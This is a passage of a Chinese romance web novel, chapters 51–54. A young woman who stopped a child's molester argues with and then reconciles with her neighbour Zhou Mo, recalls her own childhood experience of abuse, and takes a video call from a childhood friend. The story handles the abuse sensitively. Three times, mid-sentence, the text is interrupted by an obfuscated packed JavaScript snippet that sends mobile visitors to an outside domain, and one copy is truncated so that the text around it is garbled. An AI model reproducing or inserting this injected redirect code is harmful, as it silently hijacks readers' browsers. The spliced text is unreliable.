“姐姐还要告诉你一句话，这话很重要，你要一直记得。”她说，“今天这件事不是你的错，是那个坏大叔的错，你只是还小，不懂，知道吗？ “给予别人信任的人，是没有错的，也不该被责备。” 这一次，小女孩认真地看着她，像是真的把她这话一字一句都记到了心里，然后才说了句：“姐姐，我记住了！” 51. 首次冷战 从派出所出来，三人站在路边面面相觑。 “呃，这位……帅哥，要不你回去继续上班？我送她去处理处理伤口？”隔着个迟了了，闯闯探头看向周默。 迟了了连声附和：“对对对，你去忙吧，我俩回去就行！” 不料话音刚落，闯闯手机便响了起来，接起来一听，阿葱可怜巴巴的声音从那边传过来：“闯闯姐，你什么时候回来呀？刚刚来了个大单子，有家公司点了几十杯下午茶，我真的做不过来了——” 闯闯眉头顿时皱成一团：“可真不是时候！” 她看了眼迟了了，朝电话那头说：“我这就回去，你再撑会儿，先把外卖平台关了，暂停接单。” “好！” 挂断电话，她看向迟了了：“那你跟我一起——” “你也先回去忙吧！”迟了了不等她说完便摆摆手。 闯闯：“……” 想偷懒是吧？ 行，她点点头，看在她今天见义勇为还受了伤的份上，就放她一马。 “那你回去小心点啊！”离开前，闯闯从车窗里探出头来，朝两人招呼道，“这位……邻居，你要是没那么忙的话，辛苦把她送回去可以吗？” 迟了了刚要抬手拒绝，周默已经颔首应道：“好。” 闯闯目光又在两人身上徘徊了一圈，这才放心离开。 “？” 迟了了看着她的车尾巴，又回头看看周默。 她怀疑这俩人忘了世界上还有个东西，叫作“公共交通”。 于是，等闯闯的车一汇入前方车流，她就转身对周默说：“没事，你别听她的！你要是忙就回公司好了，我打车坐地铁公交都行，我这么大人，难道还能丢了？” 周默低头看着她，镜片后的眼眸里，莫名的情绪暗暗涌动着。 迟了了见他没反应，抬手在他眼前晃了晃：“嘿，你听到了吗？” 周默深吸一口气，嘴唇动了动，却没接她这话，下一秒，他忽地转身朝停车的地方走去，同时丢下一句冷冷的：“跟上。” 毫无感情色彩的两个字落在迟了了耳中，让她不由一凛： 不是，怎么又不高兴了，刚不还好好的呢？ 这“大姨夫”还没过去吗？ 一路腹诽着，她还是小跑过去，乖乖上了周默的车。 刚系上安全带，正要说点什么，迟了了身体忽地一晃，车子已经一个加速起步加急转弯，驶上了马路。 虽然起步仓促，但车速其实并不算快，可迟了了却依旧被惯性甩得整个人几乎贴在椅子上。 她连忙抓住扶手，一动不敢动。 直到车子开出去老远，她才暗暗吁了一口气，慢慢松开因紧抓扶手而微微泛白的手指，舔了舔有些发白的嘴唇。 “那个，开慢点哈，”她尴尬地笑了笑，弱弱提醒，“安全驾驶。” 周默瞥了她一眼，不大明白她这有点过头的反应，但还是冷着脸将本就合规的车速又降了一些。 迟了了心有余悸地颤颤点头。 可下一秒，她忽地想起什么，脸色又是一变，“呀”的一声惊呼：“我自行车还在那儿停着呢！”说着赶紧掏出手机。 一分钟后，她脸色难看地鼓着脸，用力按下还车按钮，忿忿道：“真没素质！竟然偷骑我的车！害我多花了十几块钱！” 周默听着她这话，冷冷吐出了句：“活该。” “哎？”迟了了难以置信地看向他。 周默丝滑地把着方向盘变道转弯，察觉到她的目光依旧目不斜视：“你多厉害啊，敢单枪匹马跟一中年男人干架。” 这话迟了了要是听不出个好坏，真就白长这么大了。 “那种情况下，我又撞个正着，总不能不管吧？” “小孩父母呢？”周默反问。 “没看到呀，这不后来才赶过来的，估计也是在上班吧。” “那你不能去喊人？” “事情就在我眼皮子底下被我撞到了，肯定要立刻阻止呀，哪里来得及考虑这么多嘛！” 她说得头头是道，理直气壮，周默被她堵得无话可说，憋了半晌，冷呵一声：“算了。” 迟了了看着他阴沉的脸色，反思了一会儿，仍然不觉得自己有什么错。 今天这事儿，发生得很是倒人胃口，迟了了本就憋了一肚子气，加上在派出所看到的那一幕，又勾起了她一些以前的记忆，让她心里更是闷闷的。 此时听到周默这番指责，如果放在平日，她肯定要跟他好好理论一番，如今也没了兴致。 她看着车窗外飞速掠过的街景，顿了会儿，回头看向周默：“我知道你刚刚这话是为我好，但那种情况下，我肯定是要先阻止那个小女孩儿继续受伤害的，就算今天我伤得更重一些，我也不认为我有错。就算事情再有一次，我也还是会这么做！” 说罢，她也不看周默的反应，将头一甩，扬着下巴再次看向窗外。 周默看着她的后脑勺，气闷地皱紧了眉头，也不理她了。 …… 一路沉默中，汽车继续行驶，慢慢驶近小区。 可在走到小区大门外时，周默却没有打弯进去，而是径直踩着油门，就这么“高冷”地开了过去。 迟了了看着窗外被甩在后面的小区大门和熟悉的保安大叔，下意识就想回头提醒周默开过了。 可念头刚起，她又想起来两人正在冷战。 可能，他是要去买点什么东西吧——这么想着，迟了了又把话忍了回去。 周默倒是察觉到她的动作，以为她会问些什么，正要开口解释，又见她趴了回去，仍拿后脑勺对着自己。 “……” 两人认识这么久，这还是迟了了头一回对他发脾气……老实说，周默有些不知所措。 在他们之间，一直以来都是迟了了主动。她来找他说话、她来给他送东西、她来打破安静的氛围…… 如今轮到迟了了一言不发了，周默频频从余光里留意她的动静，不时还转过头去想要主动说些什么，可话到舌尖又跟打了结似的。 其实，打从迟了了说完那句话之后，他就知道自己说错话了。 可自从接到她的电话，听到她说自己在派出所的那一刻起，他整颗心就已经被吊起来了。 从公司赶过去的路上，他一遍遍猜测着她是遇到什么事情了、有没有被欺负、有没有受伤，又一遍遍告诫自己要冷静，她如今遇到事情，自己不能乱了阵脚。 等到了派出所，发现她果真受了伤，又得知事情的原委后，他心里的紧张又被另一种无处发泄的气愤所取代—— 那样一个肮脏龌龊的人，她竟然敢在无人的超市里跟对方直接起冲突！ 即便明知任何正常人面对那样一种情形都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818879|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能视而不见，更别说是那么喜欢小孩的她，可周默还是不敢想象，万一对方凶性大发，她会发生什么…… 然而，再多的顾虑与后怕，对上此时跟他闹脾气的迟了了，也都被压下去了。 就在这样的百般纠结中，车子又走了一段，最后停下。 迟了了一看车窗外的建筑，不由得怔住，终于忍不住回头看向周默。 但还是忍着不主动说话！ 周默察觉她的视线，回看过去，立刻又心虚地移开。 “处理下你脸上的伤。”他说，声音轻缓了些，然后解开安全带下车。 “诶？”迟了了一听，顿时也顾不上冷战了，赶紧下车追了上去，“不是，我伤很小的，就是个小口子，不用来医院处理的！” 见周默头也不回继续往里走，她又一把拽住他的袖子：“真的！” 周默被她拉得停下来，只得回身看着她。 四目相对间，周默看着她脸上那块刺眼的创可贴，终于无奈地叹了口气：“伤口在脸上，万一留疤你不怕？而且……那人很脏。” 这两句话无疑说到了迟了了的痛点上，她手指一僵，老实下来。 周默垂眸看着她扯着自己袖口的手指，顿了顿，反手拉住她的手，头也不回就往急诊中心大楼走去。 …… 十分钟后—— 医生办公室里，看起来四十来岁的男医生对着揭开创可贴后露出的皮肤陷入了深深的思考。 良久，他抬手托了托鼻梁上的眼镜，又打量了面前的一男一女一番，最后真诚且温和地问了句：“你俩，这是来我这儿秀恩爱的？” 正严阵以待等着他给出诊疗意见的两人闻言齐齐一呆：“啊？” “再晚来会儿，这伤口都要愈合了！”医生无语道。 两人顿时一阵沉默，尴尬地看向对方。 “那会留疤吗？”迟了了扭头又问。 医生已经操作鼠标点开了电脑上别的诊疗档案，闻言头也不抬地重复着那句他自从业以来，已经说过无数遍的注意事项：“注意饮食，结痂前尽量别沾水，结痂后管住手，别乱抠，就不会。” “不需要消毒，或者打抗生素吗？”周默又问。 医生这才又看过来：“怎么？猫狗抓伤的？还是钉子划伤的？”可他看伤口不像啊。 “都不是，是在超市被零食的包装袋划的。”迟了了说。 这话一出，不只医生，连本以为伤口是出自那个男人之手的周默也沉默了。 半晌，医生像是被这俩人气笑了，无语地摇着头：“除非包装上有病菌，否则不用，不过大多数病菌暴露在空气中后存活时间都很有限，超市那种环境，零食包装袋上应该不具备细菌生存的条件。” 最后他看着两人，“不过如果你们实在不放心，去街边的药店买瓶碘伏洗一下也行。” 说完他摆摆手，表示没闲心再陪他们玩。 迟了了和周默几乎是灰溜溜地离开了。 …… 重新坐回车里，两人目视前方绷着脸，谁也不看谁，谁也没说话。 就这么过了一会儿，突然，迟了了先忍不住了，噗嗤一声笑了出来！ 随后她便一发不可收拾，趴在仪表台上笑得上气不接下气。 周默也有些绷不住，唇角难以自抑地勾起来，又抬手掩唇，装作一副没事的样子。 52. 很久的事 就这样，因为在医院一通无厘头的折腾，迟了了和周默的冷战刚开了个头，就宣告结束了。 回到小区，已经是下午四点多。 明亮金黄的太阳挂在西南方，透过小区里浓密的香樟树冠洒下来，斑斑点点，微微灼眼，像另一种挂在头顶的波光粼粼。 按电梯楼层时，周默顿了下，状若无意地问迟了了要去哪儿。 “你还要工作吗？”迟了了反问。 “对。”周默答。 迟了了想了想，说：“那我回我家吧。” 于是周默给她按下9楼。 等电梯到了8楼，他又将半路停车买的药交给她，然后走了出去。 迟了了跟他摆摆手说了再见，便低头看向手中的袋子，拿出里面的一次性碘伏棉棒，好奇地研究起来。 然而就在这时，即将关闭的电梯门突然又打开了。 “咦？”迟了了疑惑地抬起眼，却见周默又出现在了外面。 “怎么了？”她问。 周默看着她，迟疑片刻，试探着问道：“你，没事了吧？” 迟了了一愣，立刻摇头：“我没事啊，我能有什么事？” 周默没有说话，只是盯着她的眼睛。 迟了了也看着他，歪头眨了眨眼睛。 又过了几秒，似乎确实没看出她有什么异样，周默这才松了口气，松开手下的按钮：“没事，你上去吧。” “嗯嗯！” …… 这次电梯顺利阖上，继续上行。 周默没有立刻进门，而是走到楼梯口，侧耳凝神，听着楼上的动静。 电梯在9楼停下，然后打开，迟了了心情颇好地哼着歌，哼哼哈哈地从里面走出来，然后是开门、进门、关门…… 直到楼上完全没动静了，他才真正放下心来，转身去开自己的门。 可周默不知道的是，就在901大门关上的瞬间，迟了了的歌声也戛然而止。 她整个人正木然地站在门口，看着鞋柜发呆。 半晌，她又猛地回过神来，晃晃脑袋，然后神色如常地换鞋、进屋。 只是这一次，她没有像往常那样，懒散地往沙发里一躺，也没有去厨房翻吃的，而是静静地来到画室……拿起了电脑旁的相框。 照片上，留着齐刘海、看起来也比现在略显青涩的迟了了笑容灿烂地站在中间，两边分别是一个年轻的女人和男人。 女人大眼睛、高鼻梁，身上一袭月白色旗袍，透着股出尘脱俗的温婉优雅。男人则长着一张娃娃脸，头发微卷，嘴角一侧还有个酒窝。 只需一眼便能毫无疑问地看出，这是一家人。 迟了了很巧妙继承了父母双方的独特之处，大眼睛、小高鼻、自来卷，和一只酒窝。 她抬指拂过照片上的两人，半晌，将照片揽进怀里，撒娇一般低声说了句：“爸爸妈妈，今天我做了件很勇敢的事哦！” 迟了了低估了今天这件事对于自己的影响。 本以为过去就算是过去了，可等到只剩下她一个人时候，“安静”仿佛成了一面负面情绪的放大镜，而整个房子，就是这个放大镜的投射场。 下午在派出所看到的那一幕，像是一把钥匙，开启了某个她时光深处的一段记忆。而这记忆，又像是一只毫不留情的大手，一点一点，残忍地撕开了她一直刻意掩盖在表层的美好。 美好之下，残酷的真相被暴露出来，宛如冬日里呼啸而来的寒风，一下一下，将她的心不断凌迟着。 迟了了有些坐立难安，她不想让自己沉浸在这种情绪里，于是打开电视，准备看点热闹的东西。 可隔着一道屏幕，电视机里此起彼伏的笑声和嘉宾间热闹的互动仿佛和她隔了一整个世界，非但没有缓解这种情绪，反而起了反作用。 迟了了意识到，自己需要找人说说话。 她下意识就想去楼下找周默，可下一秒想到他正在工作，又只能打消这个主意。 她想，或许自己刚刚就应该跟闯闯去“或者”的。 看了眼时间，也不知道她们忙完没有。 她赶紧起身去换鞋子，背上包准备出门。 可不料刚拉开大门，她就跟门外正抬手屈指准备敲门的男人撞了个正着。 “……周默？”迟了了猝不及防，来不及整理脸上的表情，“你，工作……结束了？” 周默也怔了下，点头：“嗯，在训练数据，暂时不忙。” 其实也不是不忙，只是除了见义勇为的兴奋和激动之外，今天的迟了了，总让他隐隐觉得不大对劲。虽然刚刚上楼前反复确认过，但他还是不放心，工作刚告一段落，就想上楼再来看看。 然而眼下—— 他打量着迟了了的装束：“你要出去？” “啊，”迟了了罕见地有些语塞，挠挠头，“在家有点无聊，准备出去走走。” 周默抿了抿唇，突然想起什么，拿起手机看了眼时间：“我准备去买菜，你要不要一起？” “买菜？”迟了了一怔。 周默表情有些不大自然，说：“……嗯，你愿意的话，晚上可以一起吃。” 这话让迟了了精神顿时为之一振，疯狂地点着头：“好呀好呀！” - “今天的天气真呀真正好，我和奶奶，不是，我和周默去呀去买菜——” 超市里，迟了了嘴里唱着篡改的儿歌，一会儿跑到这边一会儿跑到那边，看到任何自己感兴趣的食材都要回头问一问周默的意见： “周默，这种鱼刺多吗？” “周默，虾要不要？” “周默，洋葱能跟什么搭配？” “周默，做粉蒸排骨好不好？” “周默，胡萝卜怎么做？” …… 周默推着购物车不紧不慢地跟着，不管她问什么，都一一耐心作答，并表示没意见。 迟了了刚开始还怀疑他是不是迁就自己，但转而想到他的厨艺，又不觉得有什么了。 弱者挑剔食材，强者拿捏食材！ 是这个道理，没错！ 买完菜，去结账的路上，两人路过零食区。 周默走了几步，发现迟了了没有跟上，便回过头去找，一转身却发现她正站在货架旁，手里还抓着两包辣条。 对上他的目光，迟了了正在窃喜的表情立马一僵，顿时有种做亏心事被当事人抓包的心虚。 “……那个，我买回去无聊的时候吃，”她忙解释，“不是不吃你做的饭。” 周默定定看着她，转而又看向那个零食货架。 迟了了紧张极了。 然而就在她以为他要让她把东西放回去的时候，周默却开口问了句：“还有别的吗？” 嗯？ 她一下子差点没反应过来，下一秒立即摇头：“没了没了！” 说着赶紧跑过去，将手里的辣条扔进推车，乐呵呵地拉着车子往收银台走。 …… 回到801，天色已经渐渐暗了下来。 周默拎着食材去厨房处理，迟了了也撕开一包辣条跟着来到厨房门口。 “周默，你要吃吗？”她将辣条往前一递。 周默正在挑虾线，闻声看看自己的两只手，摇头：“你吃吧。” 迟了了以为他不喜欢，便没再谦让。 毕竟，她记得曾经有人跟自己说过，学霸都是不吃零食的，因为有损自己的形象。 说这话的，不是别人，正是许愿。 许愿这人从小到大就没个正行，即便他实际上很聪明，学习也好，可因为外表和性格看来实在太像个不学无术的花蝴蝶了，导致很多人初见到他的时候，总容易先入为主地对他有些不那么入流的印象。 原本他倒是不大在乎这种误解，可后来不知受了什么刺激，突然又想学一学正经学霸的气质——说是觉得这样更酷！ 而这学习的第一步，就是要高冷。 外加管住嘴。 后面这条，主要是针对迟了了提出的。 因为迟了了总爱拉着他一起吃零食，自己吃不完或者拆袋后觉得不好吃的，也通通丢给他。 当然，这都是题外话了。 迟了了收回辣条，探头继续围观，见周默不一会儿就将虾处理干净，又转手去弄别的食材，全程干脆利落，熟练地跟他敲键盘简直不相上下，一时觉得自己颇无用武之地。 正低声嘟哝着，她就看见周默回过头来，看了自己一眼。 可正要问他怎么了时，他又将目光收了回去，继续手中的工作。 迟了了不明所以，疑惑地歪歪头。 突然，她脑中灵光一闪，好像明白了——周默应该是不喜欢做饭的时候被人看着！ 这就跟自己画画的时候也不喜欢被人从后面盯着一个道理！ 迟了了越想越觉得是这么回事儿，再看向周默，只觉得他的背影从头到脚都透着不自然。 迟了了自认是个善解人意的人，此时想明白了周默的心理，自然没有不照顾的道理，于是立刻掉头，装作若无其事地回了客厅。 而厨房里，听到她哼着歌离开的脚步声，周默动作一顿，回过头来的目光里，闪过一抹失落。 …… 虽然户型一样，但和迟了了的客厅截然相反，眼前的客厅几乎乏善可陈——当然，对于这点，迟了了早有认知。于是草草转了一圈后，她便抱着十二分的好奇，走向了那个她已经觊觎很久的书架。 之前每次过来，书房这片区域要么是有周默在工作，不方便游览；要么是她有别的事要做，顾不上，所以尽管她早就好奇这个书架如今又被哪些书填满了，却一直没有机会解惑。 而今天，答案终于要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818880|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揭晓了！ 迟了了激动地搓搓手，像是怕惊动书架似的，轻手轻脚地挪过去。 然而一分钟后—— 看不懂…… 她沮丧地将手里的书阖上，又抬头扫视着眼前一排排不用翻开也能一眼瞧出是什么领域的书：《芯片简史》《算法导论》《感知机》《神经网络与深度学习》《生命3.0》……还有更多连书脊都透着浓浓理工气质的英文书。 看了一圈，她选择放弃。 其他东西不好乱动，她眼睛咕噜噜一转，落在了走廊里面的一扇门上。 …… 半小时后，等周默做好饭出来，才发现客厅里空无一人，转头环视一圈，依旧没瞧见迟了了的影子。 莫非回楼上去了？他想。 虽然这般想着，但他还是试着喊了一声：“迟了了？” “哎，来了！” 不想话音刚落，迟了了的声音便从房子深处传了过来，随之而来的，还有她踢里踏拉小跑的脚步声。 周默心里瞬间松了一下。 可紧接着，当他听清那声音的来处，并在次卧门口看到迟了了出来的身影时，刚刚舒缓下来的神色又透出那么点异样来。 …… 有美食在前，还有个“秀色可餐”的人陪吃，一顿饭的时间，迟了了的心情已经好了大半。 饭后，她心满意足地瘫坐在椅子上，惬意地拍拍肚子，发出一声舒服的长叹。 对面周默见她吃好，也放下筷子，欲言又止地看着她。 迟了了察觉到他的目光，探寻着回看过去，过了会儿，又看看自己，再看向他…… 一头雾水。 突然，她目光落在两人中间的餐桌上。 一道灵光闪过，她立刻站起身：“我来！我来收拾！”说着就起身伸手要去端盘子。 周默见状连忙拦住她：“我不是这个意思。” “啊？”迟了了再次一头雾水，愣愣地看着他。 见她半站着，周默抬手压了压，让她先坐下。 对上她不解的目光，周默终于下定了决心，看着她郑重地说了句：“迟了了，对不起，我向你道歉。” 迟了了屁股刚挨着板凳，被这句话惊得又立刻离开。 她一脸惊恐地看着面前这人，半天才吐出一句：“你……吃错药了？” 这人竟然开口跟自己道歉？ 不是，他为什么道歉？ “从派出所出来，我不应该对你生气，还说你做得不对。”周默又说。 啊…… 迟了了微微张口，有些呆愣地看着他。 周默在她的目光中愈发心虚，不自然地将头撇向一边。 好半晌，餐桌上鸦雀无声。 周默的心渐渐提了起来。 就在他以为迟了了又要生气的时候，却冷不丁听到对面响起一声得意的哼笑。 “你知错就好，”迟了了扬着下巴，说，“这次就原谅你了，下不为例啊。” 周默瞬间猛松一口气，唯恐她反口似的立刻应道：“好。” 迟了了终于安稳坐了下来，双手往椅子上撑，一左一右地摇晃起来。 两人隔着一张餐桌，就这么默默对坐着，心头皆是一阵轻松。 可就在这时，周默又开口了：“那么，你能告诉我，今天为什么不开心吗？” 正摇晃的迟了了倏地一停。 见她如此反应，周默更加确定自己的感觉没有出错：“除了白天派出所的那个男人，是不是还有什么事情，让你不高兴？” 迟了了怔怔地看着他，上一秒还在得意的小表情突然变得有些茫然。 而后，她垂下了头。 等了会儿，不见她开口，周默不禁有些懊恼，抿唇笑了一下，又说：“我瞎猜的，如果没有那自然更好……但如果有的话，就像你之前对我说的，倾诉是一种有效的心情疗愈方式，如果你愿意，也可以讲给我听听。” 这话让迟了了抬头看了他一眼。 但也只是一眼，她再次低下了头。 周默看着她的样子，心里翻涌的酸涩感愈发浓重。 他突然有些后悔了。 后悔自己明明看出来她想装作若无其事，并且也几乎快要成功了，却还要将话说破，将她的伪装揭开…… “算——” “其实，也没什么。” 就在他准备收回刚刚的话时，迟了了却开口了。 方才的躲闪不知何时已经褪去，她的脸上，那一贯机灵俏皮的神色又浮了上来。 迟了了咧嘴一笑，说：“就是想起了一些，已经过去，很久很久的事情。” “……什么事？”周默顿了顿，小心地问。 迟了了歪着头眯眼笑了笑，用一种很轻松的语气说了句：“其实，我小时候，也遇到过这样的事。” 53. 突然客气 “那大概，是我小学二三年级的时候吧，升学换班，他是我的新老师。” 客厅里，迟了了蜷坐在她的蛋壳椅里，双手抱膝，目光空空地望着已经黑漆漆的窗外。 周默坐在她旁边，听着这话，从没有哪一刻像此时这么后悔。 他看着迟了了望向窗外的脸——客厅的灯光落在她白净无瑕的脸上，显得那双黑褐色的瞳仁更深了一些。 那样纯粹，又那样脆弱。 脆弱得，让他忍不住想要越界一回，将她揽入怀中…… 好在理智在手指将将触碰到她发丝的瞬间便及时觉醒过来，他倏地收回手，手指紧紧攥起，藏到身后。 “对不起。”他低声道，“我不该问的。” 迟了了听到这话却轻快地笑了：“没事，其实他并没有像今天那个人那么过分。而且虽然当时我还什么都不懂，但也感觉到不舒服，回家就跟我妈妈说了。然后，我才知道那是怎么回事。” 她看向周默：“你知道，我今天在派出所为什么跟那个小女孩说那些话吗？” 周默摇摇头。 “因为，当年我爸爸妈妈也是这么跟我说的。他们说，信任一个人并没有错，更何况那人还顶着‘老师’的头衔，错的是辜负了信任的人。 “今天我听见那个小女孩的爸爸妈妈说她是因为贪吃才被人欺负，我认为，这种说法是不对的。 “作为父母，他们疼爱她，这毋庸置疑，可是他们却不知道，虽然现在看来这件事已经结束，但等小女孩渐渐长大，性别意识慢慢成熟，这件事会在她心里越来越清晰，怎么也忘不掉…… “到那时候，他们现在说的话，就会变成一枚钉子，在她心里越扎越深。” “……所以，你想现在就帮她拔了这颗钉子？”周默问。 “没错！”迟了了一双眼睛笑成了月牙，“就像当年我爸爸妈妈帮我拔了钉子一样。” 事情已经过去近二十年，当时的她连十岁都不到，如今很多细节，其实都已经记不清了。 可正如她所说的，与那些日渐模糊的背景截然相反，随着她一点点长大，当初她尚且懵懂的那一幕却始终定格在那里，甚至如同被时光不断打磨的铜镜，愈发清晰。 即便那人的面貌已模糊不清，即便那几年里别的事情也都忘了，可那件事，她却一直记得。 不过好在，被记忆一并留存下来的，还有爸妈的话。 听老师的话没有错、爱吃糖果也没有错，我们只是在还不懂得保护自己的年龄里，信错了人。 错的是辜负了信任的人，而不是付出信任的人。 “可惜，当年我妈妈还跟我说了一些话，今天走得太急，我没来得及跟她说。”迟了了又说。 “什么话？”周默问。 “她告诉我，虽然信任一个人没有错，但我需要学会去分辨一个人是否值得信任。‘信任’不应该是盲目的，相反，它其实有很多智慧。不过，这也很难，可能需要我用一辈子去学会。” 周默低下头，良久才叹道：“你妈妈，是个很有智慧的人。” 这话显然深得迟了了之心，她仰起头，又露出那副小嘚瑟的模样：“那当然！” 周默看着她这小表情，终于抿起唇，放下心来。 - 送走迟了了，周默独自一人坐在沙发上，目光定定地落在那个几乎成为迟了了专属、此时已经空荡荡的蛋壳沙发椅上。 他就这样看了很久，之后才慢慢拿出手机，点开前一晚自己刚换上的新头像。 Q版的人物头像，黑褐色的头发、细黑边眼镜、绷得笔直的唇线……寥寥几笔，便将他的样子勾画得惟妙惟肖，呆萌之余，又透着股虚张声势的严肃。 手指点开右上角的三个点，更换头像的选项立即跳了出来，大拇指挪过去，又在即将触碰上的前一秒停下…… 如果没有刚刚听到的事情，周默或许可以继续试探和暗示。 可此时此刻，他有些拿不准了。 现在，还是个合适的时机吗？ 就在这时，空气中突然响起一串奇怪的声音，让正在沉思中的他冷不丁吓了一下。 “玛卡巴卡阿卡哇卡米卡玛卡，呣——” 十足古怪的歌词一通乱打，将周默纠结的心思瞬间搅得七零八落，他循着声音找过去，没费多大工夫便在蛋壳椅的缝隙里找到了唱得正欢的手机。 揪着迟了了新换的毛茸茸手机壳上的一缕毛，将手机艰难地拽出来，他翻过来一看，不期然怔住。 屏幕上显示的，是个红头发男生的卡通头像。 刚看过自己头像的周默一眼就认出来，这个头像，同样出自迟了了的手笔。 而头像下方显示的，还有一个看起来十分亲昵熟稔的昵称： 许孔雀。 不费吹灰之力，周默便想到了这人是谁。 他眸色微微一沉，就这么看着来电界面，许久没有动作，直到那边耐心耗尽，将视频请求挂断。 可就在他要放下手机时，视频又再次响了起来。 周默不禁有些烦躁，看着屏幕上那个刺眼的头像，仿佛看着自己的仇人。 实在受不了了，正要将手机放回原处当不知道，他又突然改了主意，转而把手机举到面前，仔细寻了个角度。 然后，接通了视频。 “迟三三，你可算接了，闯闯跟我说——” 视频一接通，对面的人还没露脸便已经传来声音，与此同时，红发俊颜的一张脸忙不迭地凑过来。 可等看到接电话的人，说到一半的话又猛地刹住。 周默看到镜头里的年轻男人先是一愣，随即目露茫然，似是点击屏幕又确认了一下，而后脸色一变，凶狠地瞪着自己。 “你谁啊？这是迟了了的手机，为什么在你手里！” 周默不动声色：“我是周默，她手机落这儿了。” “周末？”对面许愿眉头皱起，“哪个？我还周一呢！” “……” 周默差点没一个抬手给他挂了。 但忍了忍，他又说：“我住801。” 许愿眨眨眼，顿时恍然大悟：“哦，我租客！” 对于这段关系，周默不想接话。 “但她手机为什么在你这儿？”许愿也无意纠结，又把话题扯回迟了了身上。 “……”周默怀疑自己刚刚的话都白说了。 “她把手机，落我这儿了。”他一字一顿，又重复了一遍。 许愿完全没工夫在意他的态度，反而抓住他话里的信息，神色一凛，沉声反问：“她经常来你这儿？” “嗯。”周默眉心一动，状似无意地发出一声轻嗯。 果然，视频里的男生脸色更难看了。 “你俩很熟？”他眯起眼，眼尾的肌肉都在微微跳动。 周默闻言笑了，像是在说：这还用问？ 许愿更加咬牙切齿，连声音都透出危险，仿佛下一秒就要提着刀从视频里钻出来：“把手机，给她送回去，现在！立刻！马上！” - 901大门被敲响的时候，迟了了正抱着相框整个人缩成一团，蜷在沙发角落里。 听到敲门声，她睁开眼，从迷迷糊糊的状态中回过神来，又愣了几秒，才完全清醒过来，抬头看向墙上的挂钟。 “还差1分钟，留到下次的5分钟里哦。”她吸吸鼻子，对怀里的全家福说。 然后抬手擦净上面的水渍，又放下照片拍了拍自己的脸。 等完全看不出哭过的痕迹了，她才起身迈着轻快的步子往门口走去。 “周默？”一看到来人，她不禁有些错愕，紧接着又看到他手里举着的自己的手机，“啊，我把手机落你家了！” 这时，不等周默应声，许愿阴恻恻的声音便响了起来：“迟，三，三？我的话，你当耳旁风了是吗？” 听到这声音，迟了了整个人蹭地一激灵，立即瞪眼看向声音传来的地方——周默拿在手里的手机。 周默手腕顺势一转，原本背对着她的手机便转了过去，露出屏幕上许愿皮笑肉不笑的脸。 而下一秒，这脸一垮：“把摄像头给我转过来！” 谁要看那个男租客的丑脸！ “哦哦哦！”迟了了赶紧接过手机，调转摄像头。 等小框里出现她的脸后，迟了了才捧着手机笑嘻嘻开口：“许愿，你今天醒这么早呀？” “少谄媚！”许愿表示不吃她这一套，可看见迟了了脸上的创可贴，神色又忽地一冷，“你脸上的伤，是那傻逼打的？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从小到大，因为两家关系好，两人又几乎同岁，许愿作为“哥哥”便一直被双方家长叮嘱，要好好照看迟了了这个“妹妹”，而一向浑小子的许愿竟然也破天荒地照做了。 这一“看”，便是从小学到初中，从高中到大学。甚至大学俩人都不用届、院系也隔得十万八千里远，他也还是会隔三岔五地跑去迟了了那边，“慰问”她的室友、朋友。 当然了，在长达二十多年的“照看”里，这位天赋点为“自恋”的“哥哥”，也毫不留情地掐断了迟了了身边的，所有桃花。 所有！ “我就算跑到外太空，我也得看着你！”许愿说，“这我爸说的，你不服找他去。” 迟了了朝他翻了个白眼：“你这时候倒是听二爸的话了？” 许愿一噎：“……大丈夫有所为，有所不为！” “那你还是别‘为’了！”迟了了怼起他来毫不手软。 许愿自知说不过她，直接一锤定音：“行了，这么说定了。” “不是，谁跟你说定了啊？”迟了了差点揭竿而起。 许愿却不给她再辩驳的机会，直接转移话题：“闯闯跟我说，你今天下午见义勇为闹到派出所去了？” 说起这个，正生气的迟了了可就不气了，将头发一甩，满脸得意。 “嗯哼！” “嗯哼——”许愿冷冷地重复一遍她的声调，目光定定地看着她，“迟了了，你胆子挺大啊。” 这话犹如一盆冷水兜头泼下，迟了了脸色一垮：“你怎么也这么说？” “也？” “周默也说我胆子大，还说我受伤活该！他还生我气！”迟了了一脸忿忿，可转而又笑了，“不过他已经道歉了，所以我原谅他了。” 说罢看着许愿，意有所指地挑挑眉。 视频那边，听到这话的许愿自然明白她的意思：你现在道个歉把话收回去，我也可以原谅你。 可他没有道歉，反而皱起眉头，目光更沉了几分…… - 回到楼下的周默站在门口，回想起刚刚看到的许愿，和听到的，两人亲昵的斗嘴，心里百感交集。 下一秒，他做了个决定。 54. 售后服务 “哎什么情况？怎么又给换回来了？” 食堂里，祝赫看着对面埋头吃饭的周默，不解地问。 这家伙也不知道怎么了，今天一上午气压都低得不行，像在跟谁怄气一样。 结合昨天换头像、今天又换回来，他想了想，有些不忍地问：“被……拒绝了？” 话音刚落，就收到周默射来的一记眼风。 ……好吧，看来确实不太顺利。 